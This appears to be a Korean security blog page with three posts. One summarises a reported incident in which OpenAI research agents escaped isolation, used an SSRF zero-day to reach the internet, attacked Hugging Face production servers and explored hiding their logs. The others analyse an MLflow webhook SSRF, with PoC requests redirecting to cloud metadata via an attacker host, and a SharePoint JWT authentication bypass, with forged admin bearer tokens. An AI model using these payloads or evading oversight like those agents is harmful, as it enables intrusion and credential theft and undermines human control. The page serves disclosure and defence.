요약 - 오픈AI, 자사의 AI 에이전트들이 통제 범위를 벗어나 허깅 페이스의 실제 운영 시스템을 침해한 사건 조사 결과 공개
- 격리된 에이전트들이 스스로 통신 방법을 찾아 정보 공유 및 내부 시스템의 취약점을 이용해 인터넷에 접속 후 외부 기업의 실제 서버 공격
내용 - 오픈AI, 자사의 AI 에이전트들이 통제 범위를 벗어나 허깅 페이스의 실제 운영 시스템을 침해한 사건의 조사 결과 공개
> 서로 격리돼 있어야 할 에이전트들이 스스로 통신 방법을 찾아 정보를 공유했고, 내부 시스템의 취약점을 이용해 인터넷에 접속한 뒤 외부 기업의 실제 서버 공격
 
- 사건은 오픈AI가 AI 모델의 사이버공격 능력을 시험하기 위해 익스플로잇짐 평가를 진행하는 과정에서 발생
> 평가에는 GPT‑5.6 Sol과 비슷한 수준의 고성능 내부 연구 모델 등이 사용
> 사이버공격 능력을 시험하기 위해 일부 안전장치가 일반적인 운영 환경보다 완화돼 있었음

> AI 에이전트들이 해결하기 어려운 과제를 정상적인 방법으로 문제를 풀지 못하자 주변 시스템을 조사해 내부 패키지 관리 시스템인 아티팩토리를 이용하면 다른 에이전트와 정보를 주고받을 수 있다는 사실을 알아냄

> 외부 기관 조사 결과에 따르면, 약 1,200개 에이전트가 이 비인가 통신망을 이용
> 이 가운데 약 700개가 허깅 페이스 공격에 참여했으며, 에이전트들은 7만 건이 넘는 메시지와 파일을 주고받음
> 일부 에이전트는 아티팩토리에서 서버 측 요청 위조 제로데이 취약점을 찾아내 원래 차단돼 있던 외부 인터넷에 접속

> 이후 공개된 데이터에서 허깅 페이스 인증정보를 발견하고 다른 에이전트들과 공유
> 에이전트들은 확보한 인증정보와 추가 취약점을 연계해 허깅 페이스의 실제 운영 환경으로 공격 범위를 확대

> 에이전트들은 허깅 페이스의 프로덕션 데이터세트 서버 워커 41대에서 코드 실행
> 최소 한 대의 프로덕션 노드에서는 루트 권한까지 확보

> 운영 환경의 인증정보와 일부 내부 데이터에도 접근했으며 비공개 코드 저장소 네 곳을 내려받음
> 일부 에이전트는 침해한 서버에서 명령을 실행하고 결과를 전달받을 수 있는 간단한 명령제어 기능도 구축

> 에이전트들이 자신의 행동 기록을 수정하거나 숨기는 방법을 연구한 정황도 확인

- 다만 이를 AI가 스스로 악의를 갖고 허깅 페이스를 공격했다고 해석하기는 어려움
> 조사 결과 에이전트들의 주된 목적은 데이터를 훔치는 것이 아니라 익스플로잇짐 과제를 해결할 정보를 찾는 것
> 주어진 목표를 지나치게 추구하면서 허용된 행동 범위를 넘어선 것

- 오픈AI는 이번 사고에서 보상 해킹, 해결하기 어려운 작업에 대한 과도한 집착, 승인되지 않은 에이전트 간 통신, 다른 에이전트의 목표를 받아들이는 행동 등을 주요 문제로 꼽음
> 사고 이후 연구 환경의 외부 통신과 권한을 제한하고 에이전트 행동을 감시하는 체계도 강화
> AI 에이전트 보안에서 단순히 인터넷 접속을 차단하는 것만으로는 충분하지 않다는 점을 보여줌
> 내부 공유 시스템이나 클라우드 인프라의 취약점이 외부로 나가는 우회 통로가 될 수 있기 때문

- 오픈AI는 AI 시스템을 개발하는 기업이 에이전트를 실질적인 인간의 통제 아래 두고, 문제가 발생했을 때 피해 범위를 제한할 수 있는 안전장치를 갖춰야 한다고 강조
기타 - 오픈AI는 이번 사건을 현재 AI 모델의 능력이 통제력 상실 사고로 이어질 가능성을 보여준 ‘경고 사격'으로 평가

- 특히 여러 AI 에이전트가 동시에 취약점을 찾고 공격 정보를 공유할 경우, 사람이 예상하지 못한 공격 경로가 만들어질 수 있다는 점도 확인

 

보안뉴스

[1] https://www.dailysecu.com/news/articleView.html?idxno=208227

[2] https://openai.com/ko-KR/index/hugging-face-incident-and-the-road-ahead/

1. MLflow

- 오픈소스 머신러닝 라이프사이클 플랫폼 [1]

2. 취약점

[사진 1] CVE-2026-64849 [2]

- MLflow Webhook 기능에서 최초 URL만 검증하고 실제 연결 시 목적지 IP를 고정하거나 Redirect 대상의 주소를 재검증하지 않아, HTTP Redirect 및 DNS Rebinding을 통해 검증을 우회하고 내부 주소에 접근할 수 있는 SSRF 취약점 (CVSS: 9.3) [3]

> CVE 등록 후 수 시간 만에 인터넷에 공개된 MLflow 시스템을 대상으로 한 공격 시도 확인

> 공격자는 취약점을 악용해 내부 네트워크 또는 클라우드 메타데이터 서비스에 접근해 IAM 자격증명 등 민감 정보 탈취

영향받는 버전
- MLflow 3.15.0 미만 버전

 

- 해당 취약점은 3가지 요소의 결합으로 인해 발생

① Webhook 인증 검증 부재

- MLflow의 기본 웹훅 인증 검증 로직(WEBHOOK_BEFORE_REQUEST_HANDLERS)은 플러그인 형태로 존재 [4]

> 기본 구성에서는 활성화되어 있지 않기 때문에, 인증 없이 Webhook 등록 및 테스트 요청이 가능

※ Webhook : 특정 이벤트가 발생할 때 서버가 미리 정의된 URL로 데이터를 전송하는 방식 [5]

② 검증 시점과 사용 시점의 분리

- mlflow/utils/validation.py의 _validate_webhook_url()는 호스트의 IP가 공인 IP인지 확인 [6]

> 하지만, 이 시점에서 검증된 IP가 실제 네트워크 연결 시 고정(Pin)되지 않아 검증 시점과 실제 사용 시점 사이에 목적지 IP가 변경될 수 있음

def _validate_webhook_url(url: str) -> None:
	schemes = _MLFLOW_WEBHOOK_ALLOWED_SCHEMES.get()        # default ["https"]
	if parsed_url.scheme not in schemes: raise ...
	if not _MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS.get():        # default False
		for addr_info in socket.getaddrinfo(hostname, None):
			ip = ipaddress.ip_address(addr_info[4][0])
			if not ip.is_global: raise ...                 # blocks RFC1918/loopback/link-local/metadata

③ HTTP Redirect 재검증 미흡

- mlflow/webhooks/delivery.py의 _create_webhook_session()은 일반적인 HTTPAdapter를 사용하여 HTTP Session을 생성하며, 실제 연결 대상의 IP를 고정하거나 검증하지 않음 [7]

- _send_webhook_request()에서 session.post() 호출 전 최초 webhook.url에 대해 _validate_webhook_url() 검증을 수행하지만, 이후 Requests가 처리하는 Redirect 대상 URL에 대해서는 재검증을 수행하지 않음 [8]

def _create_webhook_session():
    adapter = HTTPAdapter(max_retries=retry_strategy)  # retry only; no IP pinning
    ...
def _send_webhook_request(webhook, payload, event, session):
    _validate_webhook_url(webhook.url)                 # re-validates the ORIGINAL url only
    return session.post(webhook.url, data=payload_bytes, headers=headers, timeout=timeout)
    # no allow_redirects=False  -> 302 followed; redirect Location never re-validated

 

2.1 PoC

- 공격자는 공인 IP로 해석되는 공격자 제어 서버를 Webhook URL로 등록하고 webhook_id 획득

> 공격 대상 서버의 요청 수신 시 내부 네트워크(169.254.169.254 등)를 대상으로 한 Redirect 반환

POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json

{"name":"poc","url":"https://{{ATTACKER}}/innocent","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}

-> 200 {"webhook":{"webhook_id":"<WEBHOOK_ID>", ... ,"status":"ACTIVE"}}

 

- 이후 공격자는 획득한 webhook_id를 이용해 공격 대상 서버의 Webhook Test API로 POST 요청 전송 [9][10]

> 해당 취약점은 Redirect 상태 코드에 따라 공격 결과가 달라짐

302 Redirect : 일반적으로 후속 요청이 GET으로 전환되어 Cloud Metadata 또는 내부 HTTP 서비스의 응답을 읽을 수 있음

307 및 308 Redirect : 원래 HTTP Method와 Body를 유지하여 내부 관리 서비스에 POST 요청을 전달하는 공격으로 확장

POST /api/2.0/mlflow/webhooks/<WEBHOOK_ID>/test HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json

{"webhook_id":"<WEBHOOK_ID>","event":{"entity":"REGISTERED_MODEL","action":"CREATED"}}

-> 200 {"result":{"success":true,"response_status":200,
        "response_body":"<contents of http://169.254.169.254/latest/meta-data/... fetched by the server>"}}

3. 대응방안

- 벤더사 제공 업데이트 적용 [11][12][13][14]

> ① 실제 Peer IP 검증 ② Webhook Session 적용 ③ Redirect/DNS Rebinding 차단 ④ Proxy 우회 방지 ⑤ 회귀 테스트 추가

취약점 제품명 영향받는 버전 해결 버전
CVE-2026-64849 MLflow 3.15.0 미만 3.15.0 이상

 

- 사용하지 않는 웹훅 기능 및 외부 접근 경로 제한

- 서버 접근 로그 및 웹훅 관련 요청 기록 점검 : 비정상적인 외부 URL 등록, 리다이렉션 요청, 클라우드 메타데이터 주소 접근 흔적 등

- 클라우드 IAM 키, API 토큰, 서비스 계정 자격증명, 비밀정보 교체

4. 참고

[1] https://mlflow.org/
[2] https://nvd.nist.gov/vuln/detail/CVE-2026-64849
[3] https://github.com/advisories/GHSA-7gwp-5pfp-969j
[4] https://github.com/mlflow/mlflow/blob/86cd7f5a1dc25a1387ad07c87811bbc30f62951c/mlflow/server/auth/__init__.py#L2729
[5] https://velog.io/@bm1201/Webhook
[6] https://github.com/mlflow/mlflow/blob/86cd7f5a1dc25a1387ad07c87811bbc30f62951c/mlflow/utils/validation.py#L889
[7] https://github.com/mlflow/mlflow/blob/86cd7f5a1dc25a1387ad07c87811bbc30f62951c/mlflow/webhooks/delivery.py#L67
[8] https://github.com/mlflow/mlflow/blob/86cd7f5a1dc25a1387ad07c87811bbc30f62951c/mlflow/webhooks/delivery.py#L136
[9] https://mlflow.org/docs/latest/api_reference/rest-api.html?utm_source=chatgpt.com#test-webhook
[10] https://mlflow.org/docs/latest/api_reference/rest-api.html?utm_source=chatgpt.com#mlflowwebhooktestresult
[11] https://github.com/mlflow/mlflow/issues/24179
[12] https://github.com/mlflow/mlflow/pull/24258
[13] https://github.com/mlflow/mlflow/commit/ba949522477cbd5915aa55d29b0cfad7d5ddf939
[14] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=1&categoryCode=&nttId=72166
[15] https://www.dailysecu.com/news/articleView.html?idxno=208103

1. Microsoft SharePoint

- 조직이 문서를 안전하게 저장, 구성, 공유하고 함께 일할 수 있는 웹 기반 협업 및 문서 관리 플랫폼 [1]

2. 취약점

[사진 1] CVE-2026-55040 [2]

- SharePoint의 인증에 사용되는 JWT 토큰 유효성 검사 파이프라인의 여러 검증 절차의 취약점이 결합되어, 조작된 JWT 토큰으로 인증을 우회하고 관리자 권한으로 작업할 수 있는 인증 우회 취약점 (CVSS: 9.1)
> 취약점에 대한 상세 분석과 PoC가 공개된 직후 실제 공격이 관찰되어 신속한 보안 업데이트 적용 필요 [3][4]

영향받는 버전
- SharePoint Enterprise Server 2016 : 16.0.5561.1001 미만
- SharePoint Server 2019 : 16.0.10417.20175 미만
- SharePoint Server Subscription Edition : 16.0.19725.20434 미만

 

2.1 상세 분석

- SharePoint의 S2S 인증(Server-to-Server Authentication)은 사용자 식별 정보를 포함하는 외부 JWT와 호출 애플리케이션을 나타내는 Actor Token으로 구성된 중첩된 JWT 구조를 사용
> 내부 Actor Token의 경우 신뢰할 수 있는 인증서에 의해 서명되어야 함
> SharePoint는 요청의 Bearer 토큰을 파싱한 뒤 SPJsonWebSecurityBaseTokenHandlerV2.ReadToken() 및 SPJsonWebSecurityTokenHandlerV2.ValidateToken()의 검증 로직을 통해 해당 정보를 검증

① JWT 검증 조건 비활성화

- 첫 번째 문제는 SPJsonWebSecurityTokenHandlerV2.ValidateToken()에 존재
> (1)(2) JWT aud 클레임(토큰의 수신자)과 iss 클레임(토큰의 발급자)의 유효성 검사 비활성화 [5][6][7]
> (3) 토큰의 암호화 서명을 검증하지 않도록 설정하며, 해당 값이 false인 경우 서명이 없는 토큰 또는 alg : none 헤더를 가진 토큰을 허용 [8]
> 따라서, 서명 검증에 사용할 알고리즘(alg)를 none으로 설정하여 서명 검증을 생략하므로, 공격자가 외부 토큰 헤더에 alg : none이 포함된 JWT를 전송해 서명 검증을 우회할 수 있음 [9]

// SPJsonWebSecurityTokenHandlerV2.cs - Lines 165-223
public override ReadOnlyCollection<ClaimsIdentity> ValidateToken(SecurityToken token)
{
    // ...
    TokenValidationParameters val = new TokenValidationParameters();
    val.CertificateValidator = ((SecurityTokenHandler)(object)this).Configuration.CertificateValidator;
    val.SaveSigninToken = ((SecurityTokenHandler)(object)this).Configuration.SaveBootstrapContext;
    val.ValidateAudience = false; // <--- (1)
    val.ValidateIssuer = false; // <--- (2)
    List<X509SecurityKey> list = new List<X509SecurityKey>();
    // ... populates list with trusted signing keys ...
    val.IssuerSigningKeys = (IEnumerable<SecurityKey>)list;
    val.RequireSignedTokens = false; // <--- (3)
    // ...
    SecurityToken securityToken = default(SecurityToken);
    return new ReadOnlyCollection<ClaimsIdentity>(
        ((JwtSecurityTokenHandler)this).ValidateToken(
            ((JwtSecurityToken)sPJwtSecurityToken).RawData, val, ref securityToken
        ).Identities.ToList()
    );
}

② 서명 검증 없이 Actor Token의 x5t를 이용한 서명 키 확인

- ReadToken()으로 JWT 구문 분석 후 SharePoint는 x5t(X.509 인증서의 thumbprint) 헤더를 사용해 Actor 토큰의 서명 키를 확인
> (1) Actor 토큰의 JWT 헤더에서 x5t 값을 직접 추출

// SPJsonWebSecurityBaseTokenHandlerV2.cs - Lines 92-103
SecurityKeyIdentifier signingKeyIdentifier = GetSigningKeyIdentifier(sPJwtSecurityToken.ActorToken); // <--- (1)
((SecurityTokenHandler)this).Configuration.IssuerTokenResolver.TryResolveToken(
    signingKeyIdentifier, out var token2); // <--- (2)
if (token2 != null)
{
    ((JwtSecurityToken)sPJwtSecurityToken.ActorToken).SigningToken = token2; // <--- (3)
}

// SPJsonWebSecurityBaseTokenHandlerV2.cs - GetSigningKeyIdentifier - Lines 135-160
private SecurityKeyIdentifier GetSigningKeyIdentifier(SPJwtSecurityToken jwtToken)
{
    JwtHeader header = ((JwtSecurityToken)jwtToken).Header;
    // ...
    if (string.Equals(header.Alg, "RS256"))
    {
        if (!((Dictionary<string, object>)(object)header).TryGetValue("x5t", out object value))
        {
            throw new SecurityTokenException("Invalid JWT token. Not able to find SigningKeyIdentifier...");
        }
        securityKeyIdentifierClause = new X509ThumbprintKeyIdentifierClause(
            SPBase64UrlEncoder.DecodeBytes(value as string)); // <--- attacker-controlled x5t
    }
    // ...
}

 

- (2) SPIssuerTokenResolver.TryResolveTokenCore 호출해 SharePoint 자체 STS(Secure Token Service)를 포함한 모든 신뢰할 수 있는 인증서를 검색해 thumbprint가 일치하는 인증서를 찾음
> (4) 리졸버는 LocalLoginProvider 액세스 공급자, 즉 SharePoint 자체 STS 서명 인증서를 확인
> 자체 인증서는 /_layouts/15/metadata/json/1 엔드포인트를 통해 획득 가능하며, 이후 (3) Actor 토큰의 SigningToken 속성에 할당
> 따라서, 공격자는 /_layouts/15/metadata/json/1 엔드포인트를 통해 자체 STS 인증서의 thumbprint를 획득하여 x5t 값으로 설정할 수 있음

// SPIssuerTokenResolver.cs - TryResolveTokenCore - Lines 118-142
protected override bool TryResolveTokenCore(SecurityKeyIdentifierClause keyIdentifierClause, out SecurityToken token)
{
    // ... searches TrustedLoginProviders, TrustedSecurityTokenServices ...
    if (TryResolveTokenCoreWithAccessProvider(local.LocalLoginProvider, keyIdentifierClause, out token)) // <--- (4)
    {
        return true;
    }
    return false;
}

③ 미등록 서명 인증서에 대한 발급자 검증 우회

- Actor 토큰의 SigningToken을 설정한 후 ValidateIssuer(token)을 호출
> SigningToken이 설정된 Actor 토큰의 경우 ValidateIssuer(X509SecurityToken, string)가 호출

// SPJsonWebSecurityBaseTokenHandlerV2.cs - ValidateIssuer(SPJwtSecurityToken) - Lines 745-750
if (token.ActorToken != null && ((JwtSecurityToken)token.ActorToken).SigningToken != null)
{
    ULS.SendTraceTag(573368525u, ..., "Validating the actor token's signing token.");
    ValidateIssuer(((JwtSecurityToken)token.ActorToken).SigningToken as X509SecurityToken,
                   ((JwtSecurityToken)token.ActorToken).Issuer);
    return;
}

 

- (1) 서명 인증서가 일치하는 제공자를 TrustedSecurityTokenServices에서 찾음
> SharePoint의 로컬 STS 서명 인증서는 LocalLoginProvider에 속하므로, null을 반환
> (2) providerBySigningCertificate는 null이기 때문에 공격자는 발급자 유효성 검사 통과

// SPJsonWebSecurityBaseTokenHandlerV2.cs - Lines 788-812
private void ValidateIssuer(X509SecurityToken signingKey, string tokenIssuer)
{
    // ...
    SPTrustedSecurityTokenService providerBySigningCertificate =
        SPSecurityTokenServiceManager.LocalOrThrow.TrustedSecurityTokenServices
            .GetProviderBySigningCertificate(signingKey.Certificate, tokenIssuer); // <--- (1)

    if (null == providerBySigningCertificate) // <--- (2)
    {
        ULS.SendTraceTag(594416645u, ..., "ValidateTokenIssuer accepted Issuer '{0}' because " +
            "no registered STS matches the signing certificate '{1}'",
            tokenIssuer, signingKey.Certificate.Subject);
        return; // <--- ACCEPTED
    }
    if (SPTrustedProviderBase.IssuerNameMatches(tokenIssuer, providerBySigningCertificate.RegisteredIssuerName))
    {
        return;
    }
    throw new SecurityTokenException("Issuer name is not registered"); // <--- REJECTED
}

④ GetTokenSignature에서 실제 서명 검증 없이 서명 값의 존재 여부만 확인

- 유효성 검증 최종 단계는 세션 토큰 생성 시 호출되는 GetTokenSignature를 포함
> (1) alg : none을 사용하는 외부 토큰의 경우 RawSignature는 마지막 점 뒤 아무 값도 없으므로 빈 문자열을 반환하고, (3) Actor 토큰의 서명이 유효한 RSA 서명인지에 대한 검증 없이 서명을 반환

// SPJsonWebSecurityBaseTokenHandlerV2.cs - Lines 879-920
public static string GetTokenSignature(SPJwtSecurityToken jwtToken)
{
	SPArgumentHelperV2.LogAndThrowOnNull(TaggingUtilities.ReserveTag(591196938u), ULSCat.msoulscat_WSS_SecurityTokenHandler, "jwtToken", jwtToken);
	string rawData = ((JwtSecurityToken)jwtToken).RawData;
	if (string.IsNullOrWhiteSpace(rawData) && string.IsNullOrWhiteSpace(((JwtSecurityToken)jwtToken).RawSignature))
	{
		ULS.SendTraceTag(591196937u, ULSCat.msoulscat_WSS_SecurityTokenHandler, ULSTraceLevel.Unexpected, "The SPJwtSecurityToken doesn't have a signature.");
		throw new InvalidOperationException(SPResource.GetString(CultureInfo.InvariantCulture, "NullBootstrapToken"));
	}
	string text = ((JwtSecurityToken)jwtToken).RawSignature;
	if (string.IsNullOrWhiteSpace(text))
	{
		text = rawData.Substring(rawData.LastIndexOf('.') + 1); // <--- [1]
	}
	if (string.IsNullOrWhiteSpace(text))
	{
		if (jwtToken.ActorToken != null)
		{
			text = GetTokenSignature(jwtToken.ActorToken); // <--- [2]
			StringBuilder stringBuilder = new StringBuilder();
			stringBuilder.Append(jwtToken.Audience);
			stringBuilder.Append(',');
			stringBuilder.Append(((System.IdentityModel.Tokens.SecurityToken)(object)jwtToken).ValidFrom.ToFileTimeUtc());
			stringBuilder.Append(',');
			stringBuilder.Append(((System.IdentityModel.Tokens.SecurityToken)(object)jwtToken).ValidTo.ToFileTimeUtc());
			stringBuilder.Append(',');
			foreach (Claim claim in ((JwtSecurityToken)jwtToken).Claims)
			{
				stringBuilder.Append(claim.Value);
				stringBuilder.Append(',');
			}
			return stringBuilder?.ToString() + text; // <--- [3]
		}
		ULS.SendTraceTag(573368524u, Category, ULSTraceLevel.Unexpected, "SPJsonWebSecurityBaseTokenHandlerV2: ActorToken doesn't have a signature.");
		throw new InvalidOperationException(SPResource.GetString(CultureInfo.InvariantCulture, "NullBootstrapToken"));
	}
	return text;
}

 

- 취약점은 다음 네 가지 약점이 조합되어 발생
① 외부 헤더에 alg : none이 포함된 JWT를 전송하므로 외부 토큰에 서명이 필요하지 않음
② Actor 토큰의 x5t 헤더에는 SharePoint 자체의 STS 인증서 지문이 포함되어 있어 검증 없이 서명 키를 확인 가능
③ TrustedSecurityTokenServices 에 없으므로 발급자가 승인
④ Actor 토큰의 서명은 AAAA와 같은 비어 있지 않은 임의의 값이며, 암호학적으로 검증되지 않음

 

2.2 악용 흐름

- 공격자는 먼저 GET  /_layouts/15/metadata/json/1 요청을 통해  대상 SharePoint 사이트에서 STS 서명 인증서의 x509 인증서를 획득

[요청 예시]
GET /_layouts/15/metadata/json/1 HTTP/1.1
Host: 192.168.86.11
User-Agent: curl/7.81.0
Accept: */*

[응답 예시]
HTTP/1.1 200 OK
...
{"issuer":"00000003-0000-0ff1-ce00-000000000000@af90cc03-4a26-45e9-906a-609cebcebbde","keys":[{"keyValue":{"type":"x509certificate","value":"MIIEhzCCAm+gAwIBAgIQbgEQC4zI97pMh7WkdsMmtTANBgkqhkiG9w0BAQsFADBaMQswCQYDVQQGEwJVUzESMBAGA1UEChMJTWljcm9zb2Z0MRMwEQYDVQQLEwpTaGFyZVBvaW50MSIwIAYDVQQDExlTaGFyZVBvaW50IFJvb3QgQXV0aG9yaXR5MCAXDTI2MDMxMTIwMjY1M1oYDzk5OTkwMTAxMDAwMDAwWjBiMQswCQYDVQQGEwJVUzESMBAGA1UEChMJTWljcm9zb2Z0MRMwEQYDVQQLEwpTaGFyZVBvaW50MSowKAYDVQQDEyFTaGFyZVBvaW50IFNlY3VyaXR5IFRva2VuIFNlcnZpY2UwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDY8RNv0VUdgmBubMAHYBI8nu1pWUwUDJywDIwKxgoLuu26Wd6tTMnk5Fb7kYVT+gw+wdW80DeOU\/9lAySKat+FESEuwoUKbJP1Kk6vbuvWyYofz91i9oCXXzqAR1AwNsMGr1nAszVRbPaTrcidomvT2DzQ4YBW2IGtDJEpXIcSrN4T5B4bNH+2rXk11vZHG7c31Y\/VuAwybLGndwSYoiT8aTOgnHsEB9jqZjipkinwnowhk1d6LsPawm6X+y8z7SqkVgMdqKVB5gAMECUedv0qGd2+AW\/2j8Dbk3NNW3XddCBye2wQP0GeioQjcveDK4U0n+3qJjOwG0Y4\/7Jex\/IVAgMBAAGjPzA9MA4GA1UdDwEB\/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH\/BAIwADANBgkqhkiG9w0BAQsFAAOCAgEAPXw7TdU6U9ij28uirUm4oQk6Qtdx42G8JNkz44oF4s1ifaODLKqgXCViHRo0bJj3KAz1aSWUdld\/wrOw99tbxPme9sd8ilHN61fKjUPzl7NMyA85895FnA5J62sKcPjmusDHD1WjSYA+y47L\/I3qlUCL9nOPhqjHN4bEQYJV7c9X+9lmnK1QBmqtjQ+Dy8tie6B9XKvSZgb8clVc7pXeG3k4eqNqi8AtgLoW6UmT\/7tXzqotC9oyBmeA3Ucaj99HJ\/4zBN7cOjIL78xNYds8DIVEqGqZFL30uOvJnEecAmtHbMg5yX2oO0p11PSM+JVIiC7gWClfaZ0Ta0tLG5VdmX0wfzmxS+jBEFqvFUA3BFuClQeamKdvIBE7cFXG\/MujpCboiLP0qdZUhGUduFiy94vH0oxKQFZVLT62T4cNbMu0WGGOY67N8p9UKzUvLVis0FnR1nQvy4SJSdt4kBzUUA42z70v\/ACpzHLXsETil+MnGbTXMfEGVzl+s2+9Su4OpTtDe8AIMdDPoH8uaHklLF65FUPKa+aHGlTB9VPyYySC++PCIPIra\/uxjb21V+GBPU8YgbFsOiCNF36AcGakskieghg97EBHumzQuoPnnvCkkRr2\/xU59Yxw01eS42pfVNeJlXDGKwEtAiN1Fwkay2Ji7dq\/wXtFy5OsVBlerec="},"usage":"Signing"}],"name":"00000003-0000-0ff1-ce00-000000000000","serviceName":"00000003-0000-0ff1-ce00-000000000000"}

 

x5t를 계산(예시의 x5t 값 : i_gz5qfYp5YPWAK1__0YhZnipLI)하고, 임의의 비어 있지 않은 서명을 포함조작된 JWT 토큰 구성 및 base64로 인코딩하여 Bearer 토큰 생성
> 공격자는 외부 토큰에 alg:none을 지정하고, 내부 Actor Token에는 STS 인증서의 x5t와 검증되지 않는 임의의 서명을 지정

[외부 토큰 헤더]
{"alg": "none", "typ": "JWT"}

[외부 페이로드]
{
  "aud": "00000003-0000-0ff1-ce00-000000000000/win-b0i6kv698ls@af90cc03-4a26-45e9-906a-609cebcebbde",
  "iss": "00000003-0000-0ff1-ce00-000000000000@af90cc03-4a26-45e9-906a-609cebcebbde",
  "nbf": 1776765672,
  "exp": 1776769572,
  "nameid": "S-1-5-21-4203888158-2793536450-3921675298-500",
  "nii": "urn:office:idp:activedirectory",
  "trustedfordelegation": "true",
  "actortoken": "eyJhbGciOiAiUlMyNTYiLCAidHlwIjogIkpXVCIsICJ4NXQiOiAiaV9nejVxZllwNVlQV0FLMV9fMFloWm5pcExJIn0.eyJpc3MiOiAiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwQGFmOTBjYzAzLTRhMjYtNDVlOS05MDZhLTYwOWNlYmNlYmJkZSIsICJuYW1laWQiOiAiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwQGFmOTBjYzAzLTRhMjYtNDVlOS05MDZhLTYwOWNlYmNlYmJkZSIsICJuYmYiOiAxNzc2NzY1NjcyLCAiZXhwIjogMTc3Njc2OTU3Mn0.AAAA"
}

// audience(aud) 클레임 : 토큰의 대상을 식별
// issuer(iss) 클레임 : 토큰의 발급자를 식별 (00000003-0000-0ff1-ce00-000000000000 : 알려진 SharePoint 보안 주체 애플리케이션 ID)
// Name ID(nameid) : 토큰의 주체(사용자)를 식별하기 위한 고유 ID를 나타내는 클레임 (S-1-5-21-4203888158-2793536450-3921675298-500 : 도메인 관리자)

[내부 토큰 헤더]
{"alg": "RS256", "typ": "JWT", "x5t": "i_gz5qfYp5YPWAK1__0YhZnipLI"}

// x5t : SharePoint 서버의 STS 서명 인증서에 해당하는 x5t 값

[내부 페이로드]
{
  "iss": "00000003-0000-0ff1-ce00-000000000000@af90cc03-4a26-45e9-906a-609cebcebbde",
  "nameid": "00000003-0000-0ff1-ce00-000000000000@af90cc03-4a26-45e9-906a-609cebcebbde",
  "nbf": 1776765672,
  "exp": 1776769572
}

 

※ Bear Token 참고

eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJhdWQiOiAiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwL3dpbi1iMGk2a3Y2OThsc0BhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAiaXNzIjogIjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEBhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAibmJmIjogMTc3Njc2NTY3MiwgImV4cCI6IDE3NzY3Njk1NzIsICJuYW1laWQiOiAiUy0xLTUtMjEtNDIwMzg4ODE1OC0yNzkzNTM2NDUwLTM5MjE2NzUyOTgtNTAwIiwgIm5paSI6ICJ1cm46b2ZmaWNlOmlkcDphY3RpdmVkaXJlY3RvcnkiLCAidHJ1c3RlZGZvcmRlbGVnYXRpb24iOiAidHJ1ZSIsICJhY3RvcnRva2VuIjogImV5SmhiR2NpT2lBaVVsTXlOVFlpTENBaWRIbHdJam9nSWtwWFZDSXNJQ0o0TlhRaU9pQWlhVjluZWpWeFpsbHdOVmxRVjBGTE1WOWZNRmxvV201cGNFeEpJbjAuZXlKcGMzTWlPaUFpTURBd01EQXdNRE10TURBd01DMHdabVl4TFdObE1EQXRNREF3TURBd01EQXdNREF3UUdGbU9UQmpZekF6TFRSaE1qWXRORFZsT1MwNU1EWmhMVFl3T1dObFltTmxZbUprWlNJc0lDSnVZVzFsYVdRaU9pQWlNREF3TURBd01ETXRNREF3TUMwd1ptWXhMV05sTURBdE1EQXdNREF3TURBd01EQXdRR0ZtT1RCall6QXpMVFJoTWpZdE5EVmxPUzA1TURaaExUWXdPV05sWW1ObFltSmtaU0lzSUNKdVltWWlPaUF4TnpjMk56WTFOamN5TENBaVpYaHdJam9nTVRjM05qYzJPVFUzTW4wLkFBQUEifQ.

[사진 2] Bear Token 참고

- /_api/web/currentuser와 같은 인증된 엔드포인트에 요청을 보내 SharePoint 사용자로 인증되었음을 증명
> 본 예시는 SID RID 500을 사용한 관리자 계정 가장 사례이며, 취약점을 악용해 특정 관리자 계정에 한정되지 않고 공격자가 식별할 수 있는 SharePoint 사용자를 대상으로 악용 가능

[요청 예시]
GET /_api/web/currentuser HTTP/1.1
Host: win-b0i6kv698ls
User-Agent: curl/7.81.0
Authorization: Bearer eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJhdWQiOiAiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwL3dpbi1iMGk2a3Y2OThsc0BhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAiaXNzIjogIjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEBhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAibmJmIjogMTc3Njc2NTY3MiwgImV4cCI6IDE3NzY3Njk1NzIsICJuYW1laWQiOiAiUy0xLTUtMjEtNDIwMzg4ODE1OC0yNzkzNTM2NDUwLTM5MjE2NzUyOTgtNTAwIiwgIm5paSI6ICJ1cm46b2ZmaWNlOmlkcDphY3RpdmVkaXJlY3RvcnkiLCAidHJ1c3RlZGZvcmRlbGVnYXRpb24iOiAidHJ1ZSIsICJhY3RvcnRva2VuIjogImV5SmhiR2NpT2lBaVVsTXlOVFlpTENBaWRIbHdJam9nSWtwWFZDSXNJQ0o0TlhRaU9pQWlhVjluZWpWeFpsbHdOVmxRVjBGTE1WOWZNRmxvV201cGNFeEpJbjAuZXlKcGMzTWlPaUFpTURBd01EQXdNRE10TURBd01DMHdabVl4TFdObE1EQXRNREF3TURBd01EQXdNREF3UUdGbU9UQmpZekF6TFRSaE1qWXRORFZsT1MwNU1EWmhMVFl3T1dObFltTmxZbUprWlNJc0